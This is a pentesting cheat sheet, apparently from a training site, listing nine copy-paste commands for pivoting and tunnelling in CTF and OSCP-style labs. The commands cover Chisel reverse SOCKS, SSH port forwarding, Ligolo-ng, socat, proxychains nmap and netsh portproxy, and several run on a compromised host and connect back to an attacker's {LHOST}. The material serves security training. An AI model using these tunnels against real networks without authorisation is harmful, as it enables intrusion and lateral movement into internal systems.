Pivoting & Tunnels cheatsheet

9 copy-paste commands for pivoting & tunnels in CTFs and OSCP-style labs. Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.

Chisel Attacker Reverse Tunnel Server

Start Chisel reverse tunnel listener on attacker machine on port 8000.

./chisel server -p 8000 --reverse

chiselpivotsocks5tunnel

Chisel Victim Reverse Socks Pivot

Connect back to attacker server and open socks5 proxy port 1080 to access internal network.

./chisel client {LHOST}:8000 R:socks

chiselpivotsockstunnel

SSH Dynamic Port Forwarding (SOCKS5)

Open a local SOCKS5 proxy on port 1080 routed through target SSH host.

ssh -D 1080 -f -C -q -N {USER}@{TARGET_IP}

sshsocks5proxychainspivot

SSH Local Port Forwarding (-L)

Forward target internal port (e.g. 8443) to local port 9999 on attacker machine.

ssh -L 9999:127.0.0.1:8443 {USER}@{TARGET_IP} -N

sshlocal-forwardtunnel

Ligolo-ng High-Performance TUN Interface Pivot

Fast userland tunnel creating real system tun adapter for seamless Nmap/Metasploit routing.

# On Attacker:
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601

# On Compromised Host:
./agent -connect {LHOST}:11601 -ignore-cert

# Add route on Attacker:
sudo ip route add 172.16.1.0/24 dev ligolo

ligolotunfast-pivotvpn

Socat Bi-directional Port Relay

Redirect traffic hitting port 8080 on compromised host straight to attacker listener.

socat TCP-LISTEN:8080,fork,reuseaddr TCP:{LHOST}:{LPORT}

socatrelaypivotport-forward

Proxychains TCP Full Connect Nmap Scan

Route Nmap port scan through SOCKS proxy tunnel to scan internal networks.

proxychains4 -q nmap -sT -Pn -p 21,22,80,445,3389,8080 172.16.1.10

proxychainspivotnmapsocks

Netsh Native Windows Port Forwarding

Forward incoming traffic on Windows host to another internal machine without extra binaries.

netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.1.50

netshportproxypivotwindows

SSH Reverse Remote Forwarding (-R)

Expose local port or listener on compromised host back to attacker machine.

ssh -R {LPORT}:127.0.0.1:80 {USER}@{LHOST} -N

sshreverse-forwardtunnelpivot

More cheatsheets